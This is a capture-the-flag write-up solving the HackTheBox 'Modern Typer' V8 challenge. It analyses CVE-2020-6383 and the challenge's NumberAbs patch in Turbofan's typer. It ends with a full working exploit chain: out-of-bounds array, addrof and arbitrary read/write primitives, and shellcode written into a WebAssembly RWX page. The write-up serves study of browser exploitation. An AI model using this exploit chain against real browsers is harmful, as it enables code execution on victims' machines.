Overview

SPOILER: This blog contains the solution of Modern Typer Chrome exploitation challenge from HTB. If you are planning to take this challenge, I would highly encourage attempting the challenge first before reading this blog. This challenge can be obtained from the Challenges section of hackthebox.

Prerequisites

This blog is not a Turbofan reference and is not intended to be. There are excellent public resources to acquire a basic understanding of Turbofan. Here are some of them:

An Overview of CVE-2020-6383

Before digging through the challenge solution, first let’s have an overview of a similar v8 typer bug to help us understand the root cause analysis of Modern Typer. This vulnerability is CVE-2020-6383.. I found this vulnerability by searching for older bugs affecting JSCreateLowering::ReduceJSCreateArray defined at compiler/js-create-lowering.cc. The relevance of understanding this bug in order to solve Modern Typer will be addressed later in this post.

TypeInductionVariablePhi Analysis

CVE-2020-6383 involves a v8 type Inference vulnerability in Typer::Visitor::TypeInductionVariablePhi in compiler/typer.cc. When a function is attempted to be optimized by Turbofan, Turbofan’s Typer will visit the graph of Ignition generated nodes to try to type and reduce them. The function TypeInductionVariablePhi is the function in charge to optimize for-loops and apply type inference analysis.

Let’s break up the most relevant bits and pieces of this function before the patch for CVE-2020-6383 was applied:

int arity = NodeProperties::GetControlInput(node)->op()->ControlInputCount();
DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode());
DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount());

auto res = induction_vars_->induction_variables().find(node->id());
DCHECK(res != induction_vars_->induction_variables().end());
InductionVariable* induction_var = res->second;
InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
Type initial_type = Operand(node, 0);
Type increment_type = Operand(node, 2);

At the very beginning of the function, specific variables get initialized:

  • initial_type: holds the type of the driver variable of the for loop.
  • increment_type: holds the type of the increment/decrement value applied to the driver variable in the for loop.
  • arithmetic_type: holds the type of the arithmetic operation applied in the for loop, that being subtraction or addition.

The function then evaluates the type of initial_type and increment_type

const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
							  increment_type.Is(typer_->cache_->kInteger);
bool maybe_nan = false;
// The addition or subtraction could still produce a NaN, if the integer
// ranges touch infinity.
if (both_types_integer) {
	Type resultant_type =
		(arithmetic_type == InductionVariable::ArithmeticType::kAddition)
		? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
		: typer_->operation_typer()->NumberSubtract(initial_type,
													increment_type);
	maybe_nan = resultant_type.Maybe(Type::NaN());
}

// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
if (!both_types_integer || maybe_nan) {
	// Fallback to normal phi typing, but ensure monotonicity.
	// (Unfortunately, without baking in the previous type, monotonicity might
	// be violated because we might not yet have retyped the incrementing
	// operation even though the increment's type might been already reflected
	// in the induction variable phi.)
	Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
										  : Type::None();
	for (int i = 0; i < arity; ++i) {
	  type = Type::Union(type, Operand(node, i), zone());
	}
	return type;
}

// If we do not have enough type information for the initial value or
// the increment, just return the initial value's type.
if (initial_type.IsNone() || increment_type.Is(typer_->cache_->kSingletonZero)) {
	return initial_type;
}
If the type of both initial_type and increment_type are of type kInteger, and the resultant type (stored in resultant_type) is nothing but the range of the minimum and maximum values these variables can hold. These ranges are obtained via NumberAdd and NumberSubstract returning an AddRanger or SubstractRAnger types accordingly.

In addition, the definition of the Type kInteger is the range of -Infinity to +Infinity, as defined in compiler/type-cache.h as shown below:

Type const kInteger = CreateRange(-V8_INFINITY, V8_INFINITY);
The range type product of the addition or subtraction operation gets evaluated next, and the likelihood of the result of the correspondent arithmetic operation to be of type NaN (Not a Number) is stored in maybe_nan. This usually holds for arithmetic operations where both operands are Infinity.

On the other hand, if resultant_type is likely to be NaN, or either initial_type or increment_type is not of type kInteger then the function returns a Union with all the possible types based on each operand type.

If both operands are of type kInteger the bounds of their correspondent arithmetic operation ranges gets evaluated :

// Now process the bounds.
double min = -V8_INFINITY;
double max = V8_INFINITY;

double increment_min;
double increment_max;

if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
	increment_min = increment_type.Min();
	increment_max = increment_type.Max();
} else {
	DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
	increment_min = -increment_type.Max();
	increment_max = -increment_type.Min();
}

if (increment_min >= 0) {
	// increasing sequence
	min = initial_type.Min();
	for (auto bound : induction_var->upper_bounds()) {
		Type bound_type = TypeOrNone(bound.bound);
		// If the type is not an integer, just skip the bound.
		if (!bound_type.Is(typer_->cache_->kInteger)) continue;
		// If the type is not inhabited, then we can take the initial value.
		if (bound_type.IsNone()) {
			max = initial_type.Max();
			break;
		}
		double bound_max = bound_type.Max();
		if (bound.kind == InductionVariable::kStrict) {
			bound_max -= 1;
		}
		max = std::min(max, bound_max + increment_max);
	}
// The upper bound must be at least the initial value's upper bound.
max = std::max(max, initial_type.Max());
} else if (increment_max <= 0) {
	// decreasing sequence
	max = initial_type.Max();
	for (auto bound : induction_var->lower_bounds()) {
		Type bound_type = TypeOrNone(bound.bound);
		// If the type is not an integer, just skip the bound.
		if (!bound_type.Is(typer_->cache_->kInteger)) continue;
		// If the type is not inhabited, then we can take the initial value.
		if (bound_type.IsNone()) {
			min = initial_type.Min();
			break;
		}
		double bound_min = bound_type.Min();
		if (bound.kind == InductionVariable::kStrict) {
			bound_min += 1;
		}
		min = std::max(min, bound_min + increment_min);
	}
// The lower bound must be at most the initial value's lower bound.
min = std::min(min, initial_type.Min());
} else {
	// Shortcut: If the increment can be both positive and negative,
	// the variable can go arbitrarily far, so just return integer.
	return typer_->cache_->kInteger;
}
return Type::Range(min, max, typer_->zone());
The comments provided in the source are self-explanatory. Upper and lower bounds get calculated if and only if -increment_type.Max() >= 0 or increment_type.Max() <= 0 holds for subtraction or addition arithmetic operations accordingly. Otherwise, a kInteger type gets returned.

Triggering A Type Confusion

A type confusion vulnerability can be caused by a logical bug in the implementation of TypeInductionVariablePhi as this function does not take into account if the type of increment_type can become NaN through addition or subtraction of Infinities during the execution of the for-loop, having the initial value of initial_type not being Infinity.

In order to understand the way to trigger this vulnerability, let’s take a similar PoC as the one provided in the crbug issue :

function trigger() {
	var x = -Infinity;
	for (var i = 0; i < 1; i += x) {
	  if (i == -Infinity) {
		x = +Infinity;
	  }
	}
	return i;
};

%PrepareFunctionForOptimization(trigger)
trigger();
%OptimizeFunctionOnNextCall(trigger)
trigger();
In this scenario, we will have the following:

  • initial_type: i = 0.
  • increment_type: i += -Infinity.
  • arithmetic_type: arithmetic type will be of type addition.

This configuration will be ultimately interpreted as follows:

  • both_types_integer = true:
    • 0 is of type kInteger, as it falls within Range(-V8_INFINITY, V8_INFINITY);
    • -Infinity is also of type kInteger as it falls within Range(-V8_INFINITY, V8_INFINITY);
  • maybe_nan = false:
    • as 0 + -Infinity = -Infinity, which is of type kInteger
  • (increment_min >= 0) == false:
    • increment_min value will be -Infinity

Therefore, TypeInductionVariablePhi for this case scenario will return a type of kInteger. However, that is only correct for the first iteration of the loop. But the loop will execute for a total of 3 iterations. The following would be the values for initial_type and increment_type per iteration:

First iteration Second iteration Third iteration
i 0 -Infinity NaN
i += m -Infinity +Infinity -

Therefore, for this specific for-loop instance Turbofan would infer i to be of type kInteger, being Range(-V8_INFINITY, V8_INFINITY); When in reality after the execution of the loop, i will be of type NaN, therefore leading to type confusion. This wrong type inference can be observed by analyzing the Turbofan’s Typer phase with Turbolizer:

ReduceJSCreateArray Analysis

In conjunction with the previous vulnerability, there is an additional fault that enables this bug to be exploitable. This fault resides in the implementation of JSCreateLowering::ReduceJSCreateArray held in compiler/js-create-lowering.cc. The function ReduceJSCreateArray is in charge of the optimization of constructed arrays. For sake of simplicity, the only relevant portion of this function to enable exploitation will be covered. That is the following code within ReduceJSCreateArray implementation:

if (arity == 0) {
    Node* length = jsgraph()->ZeroConstant();
    int capacity = JSArray::kPreallocatedArrayElements;
    return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                          allocation, slack_tracking_prediction);
  } else if (arity == 1) {
    Node* length = NodeProperties::GetValueInput(node, 2);
    Type length_type = NodeProperties::GetType(length);
    if (!length_type.Maybe(Type::Number())) {
      // Handle the single argument case, where we know that the value
      // cannot be a valid Array length.
      elements_kind = GetMoreGeneralElementsKind(
          elements_kind, IsHoleyElementsKind(elements_kind) ? HOLEY_ELEMENTS
                                                            : PACKED_ELEMENTS);
      return ReduceNewArray(node, std::vector<Node*>{length}, *initial_map,
                            elements_kind, allocation,
                            slack_tracking_prediction);
    }
    if (length_type.Is(Type::SignedSmall()) && length_type.Min() >= 0 &&
        length_type.Max() <= kElementLoopUnrollLimit &&
        length_type.Min() == length_type.Max()) {
      int capacity = static_cast<int>(length_type.Max());
      return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                            allocation, slack_tracking_prediction);
    }
    if (length_type.Maybe(Type::UnsignedSmall()) && can_inline_call) {
      return ReduceNewArray(node, length, *initial_map, elements_kind,
                            allocation, slack_tracking_prediction);
    }
  } else if (arity <= JSArray::kInitialMaxFastElementArray) {
    // Gather the values to store into the newly created array.
	...
As we can observe, depending on the number of arguments (arity) passed to the array constructor, different code-paths will be chosen. Ultimately, the effect of these code-paths based on the value of arity will be the following:

  • If arity is 0
    • length = 0
    • capacity = JSArray::kPreallocatedArrayElements
  • If arity is 1
    • length = NodeProperties::GetValueInput(node, 2)
    • if length_type != Number
      • capacity = undefined
    • if length_type == SignedSmall and length_type <= kElementLoopUnrollLimit
      • capacity = length_type.Max()
    • else
      • capacity = undefined
  • else if arity <= JSArray::kINiitalMaxFastElementArray:
    • iterate through arguments, compute length and create new array
  • else:
    • return NoChange()

We can observe based on the previous resumed overview of the implementation of ReduceJSCreateArray that if one argument is passed to the constructor, and that argument falls within the range of 0 <= length_type <= kElementLoopUnrollLimit, a new array will be created having its capacity initialized as length_type.Max(). The value of kElementLoopUnrollLimit is the following:

// When initializing arrays, we'll unfold the loop if the number of
// elements is known to be of this type.
const int kElementLoopUnrollLimit = 16;
Therefore, by following this path we can abuse the creation of an array with OOB indexed property access, as the upper bounds of the newly created array will be set to lenght_type.Max().

Exploitation

The PoC provided in the crbug issue shows how we can chain these two vulnerabilities to abuse the speculation of a wrongly assumed type inference. This PoC is the following:

function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }

  // inference: i = Range(-Inf, Inf) -- reality: i = NaN
  i = Math.max(i, 1024);
  // inference: i = Range(1024, Inf) -- reality: i = NaN
  i = -i;                
  // inference: i = Range(-Inf, -1024) -- reality: i = NaN
  i = Math.max(i, -1025); 
  // inference: i = Range(-1025, -1024) -- reality: i = NaN
  // i = ChangeFloat64ToInt32(NaN) = 0 (SimplifiedLowering)
  i = -i;                 
  // inference: i = Range(1024, 1025) -- reality: i = 0
  i -= 1022;              
  // inference: i = Range(2, 3) -- reality: i = -1022 
  i >>= 1;                
  // inference: i = Range(1, 1) -- reality: i = 1073741313 
  i += 10;               
  // inference: i = Range(11, 11) -- reality: i = 1073741323 

  var arr = Array(i)      
  // capacity = 11, length = 1073741323 (OOB)
  arr[0] = 1.1;
  return arr;
};

for (let i = 0; i < 20000; ++i) {
  trigger();
}

console.log(trigger()[0][11]);

Mitigation

After the report of this vulnerability, the following patches were applied. Is important to understand the scope of these patches as this would be relevant for the analysis and solution of Modern Typer.

Patch applied to JSCreateLowering::ReduceJSCreateArray

diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc
index ff057a4..77da973 100644
--- a/src/compiler/js-create-lowering.cc
+++ b/src/compiler/js-create-lowering.cc
@@ -672,6 +672,9 @@
         length_type.Max() <= kElementLoopUnrollLimit &&
         length_type.Min() == length_type.Max()) {
       int capacity = static_cast<int>(length_type.Max());
+      // Replace length with a constant in order to protect against a potential
+      // typer bug leading to length > capacity.
+      length = jsgraph()->Constant(capacity);
       return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                             allocation, slack_tracking_prediction);
     }

Patch applied to Typer::TypeInductionVariablePhi

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 14ec856..4e86b96 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -847,30 +847,24 @@
   DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode());
   DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount());
 
-  auto res = induction_vars_->induction_variables().find(node->id());
-  DCHECK(res != induction_vars_->induction_variables().end());
-  InductionVariable* induction_var = res->second;
-  InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
   Type initial_type = Operand(node, 0);
   Type increment_type = Operand(node, 2);
 
-  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
-                                  increment_type.Is(typer_->cache_->kInteger);
-  bool maybe_nan = false;
-  // The addition or subtraction could still produce a NaN, if the integer
-  // ranges touch infinity.
-  if (both_types_integer) {
-    Type resultant_type =
-        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
-            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
-            : typer_->operation_typer()->NumberSubtract(initial_type,
-                                                        increment_type);
-    maybe_nan = resultant_type.Maybe(Type::NaN());
+  // If we do not have enough type information for the initial value or
+  // the increment, just return the initial value's type.
+  if (initial_type.IsNone() ||
+      increment_type.Is(typer_->cache_->kSingletonZero)) {
+    return initial_type;
   }
 
-  // We only handle integer induction variables (otherwise ranges
-  // do not apply and we cannot do anything).
-  if (!both_types_integer || maybe_nan) {
+  // We only handle integer induction variables (otherwise ranges do not apply
+  // and we cannot do anything). Moreover, we don't support infinities in
+  // {increment_type} because the induction variable can become NaN through
+  // addition/subtraction of opposing infinities.
+  if (!initial_type.Is(typer_->cache_->kInteger) ||
+      !increment_type.Is(typer_->cache_->kInteger) ||
+      increment_type.Min() == -V8_INFINITY ||
+      increment_type.Max() == +V8_INFINITY) {
     // Fallback to normal phi typing, but ensure monotonicity.
     // (Unfortunately, without baking in the previous type, monotonicity might
     // be violated because we might not yet have retyped the incrementing
@@ -883,14 +877,13 @@
     }
     return type;
   }
-  // If we do not have enough type information for the initial value or
-  // the increment, just return the initial value's type.
-  if (initial_type.IsNone() ||
-      increment_type.Is(typer_->cache_->kSingletonZero)) {
-    return initial_type;
-  }
 
   // Now process the bounds.
+  auto res = induction_vars_->induction_variables().find(node->id());
+  DCHECK(res != induction_vars_->induction_variables().end());
+  InductionVariable* induction_var = res->second;
+  InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
+
   double min = -V8_INFINITY;
   double max = V8_INFINITY;
 
@@ -946,8 +939,8 @@
     // The lower bound must be at most the initial value's lower bound.
     min = std::min(min, initial_type.Min());
   } else {
-    // Shortcut: If the increment can be both positive and negative,
-    // the variable can go arbitrarily far, so just return integer.
+    // If the increment can be both positive and negative, the variable can go
+    // arbitrarily far.
     return typer_->cache_->kInteger;
   }
   if (FLAG_trace_turbo_loop) {

Modern Typer

After the analysis of CVE-2020-6383, understanding the exploitation of Modern Typer will be easier as it abuses a similar vulnerability.

Patch File

diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc
index 619475ef7f..d1cfcae1f4 100644
--- a/src/compiler/js-create-lowering.cc
+++ b/src/compiler/js-create-lowering.cc
@@ -699,7 +699,7 @@ Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) {
       int capacity = static_cast<int>(length_type.Max());
       // Replace length with a constant in order to protect against a potential
       // typer bug leading to length > capacity.
-      length = jsgraph()->Constant(capacity);
+      //length = jsgraph()->Constant(capacity);
       return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                             allocation, slack_tracking_prediction);
     }
diff --git a/src/compiler/operation-typer.cc b/src/compiler/operation-typer.cc
index 8b889c6948..c13d58e4c2 100644
--- a/src/compiler/operation-typer.cc
+++ b/src/compiler/operation-typer.cc
@@ -325,7 +325,7 @@ Type OperationTyper::NumberAbs(Type type) {
   DCHECK(type.Is(Type::Number()));
   if (type.IsNone()) return type;
 
-  bool const maybe_nan = type.Maybe(Type::NaN());
+  //bool const maybe_nan = type.Maybe(Type::NaN());
   bool const maybe_minuszero = type.Maybe(Type::MinusZero());
 
   type = Type::Intersect(type, Type::PlainNumber(), zone());
@@ -345,9 +345,9 @@ Type OperationTyper::NumberAbs(Type type) {
   if (maybe_minuszero) {
     type = Type::Union(type, cache_->kSingletonZero, zone());
   }
-  if (maybe_nan) {
-    type = Type::Union(type, Type::NaN(), zone());
-  }
+  //if (maybe_nan) {
+  //  type = Type::Union(type, Type::NaN(), zone());
+  //}
   return type;
 }

Patch Analysis

If we put close attention to the patches applied for Modern Typer, we can notice that one of the patches applies to JSCreateLowering::ReduceJSCreateArray. This patch ultimately removes the previous patch for CVE-2020-6383, implementing explicit upper bound checks of constructed arrays in order to provide hardening against typer bugs. Based on this patch, we assume to be likely that the vulnerability to exploit this challenge will involve the speculation of a constructed array’s upper bounds through a potential type confusion vulnerability.

If we take a look at the other function in which the provided patch applies, we can see that it involves OperationTyper::NumberAbs. Changes imposed in this function by this patch are rather concise, and consists of removing NaN type checks to the result of NumberAbs.

Having in mind the extent of the provided patch and the functions involved, we can execute a number of test in order to understand how exploitation can be achieved.

If we take the previous PoC provided for CVE-2020-6383 and try to execute it on a patched v8 build we will see that an OOB array is not achieved. We can inspect Turbofan’s optimization phases with Turbolizer in order to gain a better understanding of what is happening.

We can generate Turbolizer output files if we run the PoC with the following flags:

# setting up turbolizer
cd v8/tools/turbolizer
npm i && npm run-script build
python3 -m http.server 2&>1 > /dev/null &
cd -
# running poc and provide turbolizer output
v8/out/x64.release/d8 ./poc.js --trace-turbo

We can observe the following Turbolizer Typer phase graph of our function trigger:

Based on the Turbolizer’s output, we can interpret that type inference of our variable i as being interpreted as follows:

function trigger() {
	  var x = -Infinity;
	  for (var i = 0; i < 1; i += x) {
		if (i == -Infinity)
			x = +Infinity;
	  }
	
	  // inference: i = (NaN | Range(-Inf, Inf)) -- reality: i = NaN
	  i = Math.max(i, 1024);
	  // inference: i = (NaN | Range(1024, Inf)) -- reality: i = NaN
	  i = -i;                
	  // inference: i = (NaN Range(-Inf, -1024)) -- reality: i = NaN
	  i = Math.max(i, -1025); 
	  // inference: i = (NaN | Range(-1025, -1024)) -- reality: i = NaN
	  i = -i;  
	  // inference: i = (NaN | Range(1024, 1025)) -- reality: i = NaN
	  i -= 1022;
	  // inference: i = (NaN | Range(2, 3)) -- reality: i = NaN
	  // Truncate Float64ToWord32 (SimplifiedLowering) i = 0
	  i >>= 1;                
	  // inference: i = Range(0, 1) -- reality: i = 0 
	  i += 1;               
	  // inference: i = Range(1, 2) -- reality: i = 1              

	  let arr = Array(i);
	  oob_arr[0] = 1.1;

	  return arr;
}
Based on previous patches applied to CVE-2020-6383, we can notice that after finalizing the for-loop, i has the type of Union(NaN, kInteger). Since i contains the type NaN, arithmetic operations do not apply.

We can also observe that the type of i gets converted from a Float64 representation to an Int32 right before the Shift Arithmetic Right operation in the Simplified Lowering phase, in which coverts the value of NaN to 0:

Moving forward from this point, the type inference of i align with the possible values that i may hold, and the creation of an Array with OOB indexed property access is not achieved.

However, we may be able to escape NaN typing abusing the NumberAbs function. As we covered previously, the patch for this challenge removes the NaN type check to the return value of NumberAbs, therefore it will effectively escape NaN typing of whatever value we provide as a parameter.

Lets modify our PoC and apply the following:

function trigger() {
	  var x = -Infinity;
	  for (var i = 0; i < 1; i += x) {
		if (i == -Infinity)
			x = +Infinity;
	  }
	
	  i = Math.max(i, 1024);
	  i = -i;                
	  i = Math.max(i, -1025); 
	  i = -i;  
	  i = Math.abs(i);  // <------ escaping NaN typing
	  i -= 1022;              
	  i >>= 1;                
	  i += 1;               

	  let arr = Array(i);
	  oob_arr[0] = 1.1;

	  return arr;
}
If we analyze the Typer phase of this new instance of trigger in Turbolizer we will see the following:

As we can observe, the call to NumberAbs escapes NaN typing. We can also observe based on Turbolizer’s Simplified Lowering phase that the value of i changes from NaN to 0 via the ChangeFloat64ToInt32 machine level node after the call to NumberAbs, enabling to apply arithmetic operations to the value of i moving forward:

![](/2021-12-30-140249_924x731_scrot 1.png#center)

Overall the wrong type inference in this scenario works as follows:

function trigger() {
	  var x = -Infinity;
	  for (var i = 0; i < 1; i += x) {
		if (i == -Infinity)
			x = +Infinity;
	  }
	
	  // inference: i = (NaN | Range(-Inf, Inf)) -- reality: i = NaN
	  i = Math.max(i, 1024);
	  // inference: i = (NaN | Range(1024, Inf)) -- reality: i = NaN
	  i = -i;                
	  // inference: i = (NaN Range(-Inf, -1024)) -- reality: i = NaN
	  i = Math.max(i, -1025); 
	  // inference: i = (NaN | Range(-1025, -1024)) -- reality: i = NaN
	  i = -i;  
	  // inference: i = (NaN | Range(1024, 1025)) -- reality: i = NaN
	  i = Math.abs(i);  
	  // i = ChangeFloat64ToInt32(NaN) = 0 (SimplifiedLowering)
	  // inference: i = Range(1024, 1025) - reality: i = 0
	  i -= 1022;              
	  // inference: i = Range(2, 3) -- reality: i = -1022 
	  i >>= 1;                
	  // inference: i = Range(1, 1) -- reality: i = 1073741313 
	  i += 1;               
	  // inference: i = Range(2, 2) -- reality: i = 1073741314              

	  let arr = Array(i);
	  oob_arr[0] = 1.1;

	  return arr;
}
After succesfully escaping NaN typing abusing NumberAbs, the vulnerability can be triggered enabling us to create an Array with OOB indexed property access.

Exploitation

Now that we have OOB access, the exploit strategy is simple. We need an addrof primitive to obtain the address of arbitrary objects, and in this case, we can neglect the creation of a fakeobj primitive in order to create objects at arbitrary memory locations. This is due to the fact that since we have a large enough OOB read/write primitive, it can be trivially converted into an arbitrary read/write primitive. In order to achieve successful exploitation we follow the following steps:

  1. First we allocate two arrays, an unboxed and a boxed array. These arrays should be declared after the OOB array so that they are consecutively allocated in V8’s heap with respect to our OOB array, in order to access their contents through our OOB array.
  2. We leak the map tagged pointers of both the boxed and unboxed array accordingly.
  3. Leveraging the leaked maps, we construct an addrof primitive enabling type confusion of the unboxed array elements by changing the unboxed array map accordingly.
  4. Construct arbitrary read/write primitives by overwriting the unboxed array’s elements pointer (taking care of V8’s pointer compression).
  5. Instantiate a WASM instance, leak its RWX page and write the contents of arbitrary code to it to then pivot control flow of execution.

Full Exploit

var buf = new ArrayBuffer(8); 
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { 
	    f64_buf[0] = val;
	    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); 
}

function itof(val) { 
	    u64_buf[0] = Number(val & 0xffffffffn);
	    u64_buf[1] = Number(val >> 32n);
	    return f64_buf[0];
}

function trigger() {
	  var x = -Infinity;
	  for (var i = 0; i < 1; i += x) {
		if (i == -Infinity)
			x = +Infinity;
	  }
	
	  i = Math.max(i, 1024);
	  i = -i;                
	  i = Math.max(i, -1025); 
	  i = -i;  
	  i = Math.abs(i);  
	  i -= 1022;              
	  i >>= 1;                
	  i += 1;               

	  let arr = Array(i);
	  oob_arr[0] = 1.1;

	  return arr;
};

for (let i = 0; i < 0x10000; i++) {
	trigger();
}

var oob_arr = trigger();
var flt_arr = [1.1, 1.2];
var obj_arr = [{}, {}];

var flt_map = ftoi(oob_arr[5]) & 0xffffffffn
var obj_map = ftoi(oob_arr[13]) & 0xffffffffn

function addrof(obj) {
	oob_arr[5] = itof(obj_map);
	flt_arr[0] = obj;
	oob_arr[5] = itof(flt_map);
	return ftoi(flt_arr[0]) & 0xffffffffn
}

function arb_read(addr) {
	let old_elements = oob_arr[6]
	oob_arr[6] = itof((2n << 32n) + addr - 8n);
	let leak = flt_arr[0];
	oob_arr[6] = old_elements;
	return leak;
}

function arb_write(addr, val) {
	let old_elements = oob_arr[6]
	oob_arr[6] = itof((2n << 32n) + addr - 8n);
	flt_arr[0] = val;
	oob_arr[6] = old_elements;
}

function exploit() {
	var wasm_code = new Uint8Array([
		0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,
		1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,
		0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
		128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,
		111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,
		128,0,1,132,128,128,128,0,0,65,0,11
	]);

	var wasm_mod = new WebAssembly.Module(wasm_code);
	var wasm_instance = new WebAssembly.Instance(wasm_mod);
	var f = wasm_instance.exports.main;
	var wasm_instance_addr = addrof(wasm_instance) + 0x68n;
	var rwx_page_addr = arb_read(wasm_instance_addr);

	function copy_shellcode(addr, shellcode) {
		let buf = new ArrayBuffer(0x100);
		let dataview = new DataView(buf);
		let buf_addr = addrof(buf);

		let backing_store_addr = buf_addr + 0x14n;
		arb_write(backing_store_addr, addr);

		for (let i = 0; i < shellcode.length; i++) {
			dataview.setUint32(4 * i, shellcode[i], true);
		}
	}
	
	// msfvenom -p linux/x64/exec CMD='xcalc' --format dword
	var shellcode=[                 
	    0x90909090,
	    0x90909090,
	    0x782fb848,
	    0x636c6163,
	    0x48500000,
	    0x73752fb8,
	    0x69622f72,
	    0x8948506e,
	    0xc03148e7,
	    0x89485750,
	    0xd23148e6,
	    0x3ac0c748,
	    0x50000030,
	    0x4944b848,
	    0x414c5053,
	    0x48503d59,
	    0x3148e289,
	    0x485250c0,
	    0xc748e289,
	    0x00003bc0,
	    0x050f00
	];

	copy_shellcode(rwx_page_addr, shellcode);
	f();
}
exploit();